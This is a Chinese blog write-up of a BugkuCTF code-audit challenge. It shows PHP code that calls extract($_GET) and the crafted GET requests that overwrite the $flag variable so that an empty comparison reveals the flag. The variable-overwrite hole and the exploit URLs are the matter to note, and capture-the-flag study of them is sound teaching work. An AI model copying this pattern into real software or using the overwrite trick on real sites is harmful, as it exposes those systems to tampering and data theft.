BugkuCTF_代码审计——“extract变量覆盖”

一、思考分析

题目是审计如下php代码

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

文件名为xxx,通过GET方法提交覆盖后文件名(&flag)、提交文件内容(&shiyan)

从文件读取内容,且去除首尾的空格(&content)

如果读取内容与GET提交内容相同即可得到FLAG(&shiyan==&content)

二、解题过程

构造GET请求
http://123.206.87.240:9009/1.php?shiyan=&flag=
令文件名(&flag)为空,则读取到的内容(&content)为空,令提交的文件内容(&shiyan)也为空

或是使文件名为任一随机字符串均可,因为该文件不存在,读取内容始终为空
http://123.206.87.240:9009/1.php?shiyan=&flag=wdnmd

实际上,分析题目,文件名是xxx的文件根本不存在
只需提交一个参数即可过关
http://123.206.87.240:9009/1.php?shiyan=

欢迎在评论区留言
感谢浏览

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值